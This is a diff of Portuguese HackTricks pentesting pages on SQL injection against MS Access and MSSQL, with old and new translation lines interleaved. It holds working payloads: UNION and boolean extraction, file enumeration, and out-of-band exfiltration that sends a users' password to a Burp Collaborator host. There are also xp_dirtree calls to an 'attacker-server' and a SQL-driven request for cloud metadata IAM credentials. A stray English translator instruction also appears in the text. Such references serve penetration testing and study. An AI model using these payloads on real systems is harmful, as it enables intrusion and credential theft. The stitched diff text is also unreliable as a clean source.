É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma injeção de SQL isso se pareceria com:
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma injeção de SQL isso ficaria assim:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@ -496,7 +490,7 @@ Ou usando um **bypass de vírgula**:
```
Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### Ferramentas sugeridas de bypass de WAF
### Ferramentas sugeridas para bypass de WAF
{% embed url="https://github.com/m4ll0k/Atlas" %}
@ -505,7 +499,7 @@ Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-write
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Lista de Detecção de Força Bruta
## Lista de Detecção de Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
@ -515,17 +509,17 @@ Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-write
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -19,12 +19,12 @@ Confira os seguintes blogs:
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -22,14 +22,14 @@ Outras formas de apoiar o HackTricks:
### Concatenação de Strings
É possível fazer concatenação de strings com os caracteres `& (%26)` e `+ (%2b)`.
A concatenação de strings é possível com os caracteres `& (%26)` e `+ (%2b)`.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Comentários
Não existem comentários no MS Access, mas aparentemente é possível remover o final de uma consulta com um caractere NULL:
Não existem comentários no MS Access, mas aparentemente é possível remover o último de uma consulta com um caractere NULL:
```sql
1' union select 1,2 from table%00
```
@ -43,56 +43,56 @@ Elas não são suportadas.
### LIMIT
O operador **`LIMIT`** **não é implementado**. No entanto, é possível limitar os resultados da consulta SELECT para **os primeiros N registros da tabela usando o operador `TOP`**. `TOP` aceita como argumento um inteiro, representando o número de linhas a serem retornadas.
O operador **`LIMIT`** **não é implementado**. No entanto, é possível limitar os resultados da consulta SELECT para as **primeiras N linhas da tabela usando o operador `TOP`**. `TOP` aceita como argumento um número inteiro, representando o número de linhas a serem retornadas.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Assim como o **`TOP`**, você pode usar **`LAST`**, que obterá as **linhas a partir do final**.
Assim como o **`TOP`**, você pode usar o **`LAST`** que irá obter as **linhas do final**.
## Consultas UNION/Subconsultas
## Consultas de UNIÃO/Subconsultas
Em um SQLi, geralmente você vai querer executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre exige que em **subconsultas ou consultas extras seja indicado um `FROM`**.\
Portanto, se você deseja executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**.\
Por isso, você precisa conhecer um **nome de tabela válido**.
Em um SQLi, você geralmente desejará de alguma forma executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre requer que em **subconsultas ou consultas extras seja indicado um `FROM`**. Portanto, se você deseja executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**. Portanto, você precisa saber um **nome de tabela válido**.
```sql
-1' UNION SELECT username,password from users%00
```
### Encadeamento de igualdades + Substring
### Encadeando equals + Substring
{% hint style="warning" %}
Isso permitirá que você exfiltre valores da tabela atual sem precisar conhecer o nome da tabela.
Isso permitirá que você exfiltre valores da tabela atual sem precisar saber o nome da tabela.
{% endhint %}
**MS Access** permite uma **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso.
O **MS Access** permite uma **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção de SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso.
Imagine que você tenha uma SQLi em um banco de dados MS Access e você sabe (ou supõe) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você poderia verificar as diferentes respostas do aplicativo web quando a técnica de encadeamento de igualdades é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings.
Imagine que você tenha uma injeção de SQL em um banco de dados MS Access e saiba (ou tenha adivinhado) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você pode verificar as diferentes respostas do aplicativo da web quando a técnica de encadeamento de equals é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings.
```sql
'=(Mid(username,1,3)='adm')='
```
Se você conhece o **nome da tabela** e **coluna** para extrair, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano:
Se você conhece o **nome da tabela** e **coluna** para fazer dump, você pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Sinta-se à vontade para verificar isso no playground online._
### Força bruta em nomes de tabelas
### Forçando Nomes de Tabelas
Usando a técnica de encadeamento de igualdades, você também pode **forçar a descoberta de nomes de tabelas** com algo como:
Usando a técnica de encadeamento de iguais, você também pode **forçar nomes de tabelas** com algo como:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Você também pode usar um método mais tradicional:
O seguinte é conteúdo de um livro sobre técnicas de hacking. O seguinte conteúdo é do arquivo pentesting-web/sql-injection/ms-access-sql-injection.md.
Translate the relevant English text to Portuguese and return the translation keeping excatly the same markdown and html syntax.
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Sinta-se à vontade para verificar isso no playground online._
* Nomes comuns de tabelas Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Nomes comuns de tabelas do Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Força Bruta em Nomes de Colunas
### Forçando Nomes de Colunas
Você pode **forçar bruta nos nomes atuais das colunas** com o truque de encadeamento de igualdades com:
Você pode **forçar os nomes das colunas atuais** com o truque de encadeamento de iguais com:
```sql
'=column_name='
```
@ -100,7 +100,7 @@ Ou com um **group by**:
```sql
-1' GROUP BY column_name%00
```
Ou você pode forçar bruscamente os nomes das colunas de uma **tabela diferente** com:
Ou você pode fazer força bruta nos nomes das colunas de uma **tabela diferente** com:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
@ -108,28 +108,28 @@ Ou você pode forçar bruscamente os nomes das colunas de uma **tabela diferente
```
### Despejando dados
Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para despejar dados da tabela atual e de outras tabelas**. Mas existem outros métodos:
Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para despejar dados das tabelas atuais e de outras**. Mas existem outras maneiras:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
Em resumo, a consulta utiliza uma declaração "se-então" para acionar um "200 OK" em caso de sucesso ou um "500 Erro Interno" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente de LAST permite considerar apenas a 10ª tupla. Sobre tal valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando adequadamente o índice de MID e TOP, podemos extrair o conteúdo do campo "username" para todas as linhas.
Resumidamente, a consulta utiliza uma declaração "se-então" para acionar um "200 OK" em caso de sucesso ou um "500 Internal Error" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente do LAST permite considerar apenas a 10ª tupla. Com base nesse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando adequadamente o índice de MID e TOP, podemos extrair o conteúdo do campo "username" para todas as linhas.
### Baseado em Tempo
Verifique [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
Consulte [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Outras Funções Interessantes
* `Mid('admin',1,1)` obter substring da posição 1 com comprimento 1 (a posição inicial é 1)
* `Mid('admin',1,1)` obter subcadeia a partir da posição 1 com comprimento 1 (posição inicial é 1)
* `LEN('1234')` obter comprimento da string
* `ASC('A')` obter valor ascii do caractere
* `CHR(65)` obter string a partir do valor ascii
* `ASC('A')` obter valor ASCII do caractere
* `CHR(65)` obter string a partir do valor ASCII
* `IIF(1=1,'a','b')` se então
* `COUNT(*)` Contar número de itens
## Enumerando tabelas
A partir de [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter nomes de tabelas:
A partir [**daqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter os nomes das tabelas:
```sql
select MSysObjects.name
from MSysObjects
@ -139,39 +139,39 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
No entanto, note que é muito típico encontrar Injeções SQL onde você **não tem acesso para ler a tabela `MSysObjects`**.
No entanto, observe que é muito comum encontrar Injeções SQL onde **não se tem acesso para ler a tabela `MSysObjects`**.
## Acesso ao Sistema de Arquivos
### Caminho Completo do Diretório Raiz Web
### Caminho Completo do Diretório Raiz da Web
O conhecimento do **caminho absoluto da raiz web pode facilitar ataques subsequentes**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques adicionais**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório web**.
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório da web**.
### Enumeração de Arquivos
O seguinte vetor de ataque pode ser usado para **inferir a existência de um arquivo no sistema de arquivos remoto**. Se o arquivo especificado existir, o MS Access dispara uma mensagem de erro informando que o formato do banco de dados é inválido:
O seguinte vetor de ataque pode ser usado para **inferir a existência de um arquivo no sistema de arquivos remoto**. Se o arquivo especificado existir, o MS Access aciona uma mensagem de erro informando que o formato do banco de dados é inválido:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Outra forma de enumerar arquivos consiste em **especificar um item database.table**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**.
Outra maneira de enumerar arquivos consiste em **especificar um item de banco de dados.tabela**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Adivinhação do Nome do Arquivo .mdb
**O nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta:
O **nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre dispare uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** no banco de dados. Embora o MS Access sempre acione uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
### Quebrador de Senha .mdb
### Quebrador de Senhas .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma utilidade gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma ferramenta gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
## Referências
@ -179,14 +179,14 @@ Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existen
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,10 +6,10 @@
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -33,7 +33,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
As injeções de SQL baseadas em erros geralmente se assemelham a construções como `+AND+1=@@version--` e variantes baseadas no operador «OR». Consultas contendo tais expressões são geralmente bloqueadas por WAFs. Para contornar isso, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que disparam um erro de conversão de tipo de dados nos dados procurados.
Alguns exemplos dessas funções:
Alguns exemplos de tais funções:
* `SUSER_NAME()`
* `USER_NAME()`
@ -69,7 +69,7 @@ EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
Requer permissão **`CONTROL SERVER`**.
Requer permissão de **`CONTROL SERVER`**.
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
@ -105,7 +105,7 @@ DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
É importante notar que este método pode não funcionar em todas as configurações de sistema, como no `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` em execução em um `Windows Server 2016 Datacenter` com configurações padrão.
É importante notar que este método pode não funcionar em todas as configurações de sistema, como no `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` em execução em um `Windows Server 2016 Datacenter` com as configurações padrão.
Além disso, existem procedimentos armazenados alternativos como `master..xp_fileexist` e `xp_subdirs` que podem alcançar resultados semelhantes. Mais detalhes sobre `xp_fileexist` podem ser encontrados neste [artigo do TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
@ -122,7 +122,7 @@ Obviamente, você também pode usar **`xp_cmdshell`** para **executar** algo que
Criar uma UDF CLR (Função Definida pelo Usuário de Tempo de Execução Comum), que é um código desenvolvido em qualquer linguagem .NET e compilado em um DLL, para ser carregado dentro do MSSQL para executar funções personalizadas, é um processo que requer acesso `dbo`. Isso significa que geralmente é viável apenas quando a conexão com o banco de dados é feita como `sa` ou com uma função de Administrador.
Um projeto do Visual Studio e instruções de instalação são fornecidos neste [repositório do Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar o carregamento do binário no MSSQL como uma montagem CLR, permitindo assim a execução de solicitações HTTP GET de dentro do MSSQL.
Um projeto do Visual Studio e instruções de instalação são fornecidos neste [repositório do Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar o carregamento do binário no MSSQL como um assembly CLR, permitindo assim a execução de solicitações HTTP GET de dentro do MSSQL.
O cerne dessa funcionalidade está encapsulado no arquivo `http.cs`, que utiliza a classe `WebClient` para executar uma solicitação GET e recuperar o conteúdo, conforme ilustrado abaixo:
```csharp
@ -140,17 +140,17 @@ return new SqlString(html);
}
}
```
Antes de executar o comando SQL `CREATE ASSEMBLY`, é aconselhável executar o seguinte trecho de SQL para adicionar o hash SHA512 da montagem à lista de montagens confiáveis do servidor (visível via `select * from sys.trusted_assemblies;`):
Antes de executar o comando SQL `CREATE ASSEMBLY`, é aconselhável executar o seguinte trecho de SQL para adicionar o hash SHA512 da assembly à lista de assemblies confiáveis do servidor (visível através de `select * from sys.trusted_assemblies;`):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Depois de adicionar com sucesso a assembly e criar a função, o seguinte código SQL pode ser utilizado para realizar solicitações HTTP:
Depois de adicionar com sucesso a montagem e criar a função, o seguinte código SQL pode ser utilizado para realizar solicitações HTTP:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Exploração Rápida: Recuperando o Conteúdo Completo de uma Tabela em uma Única Consulta**
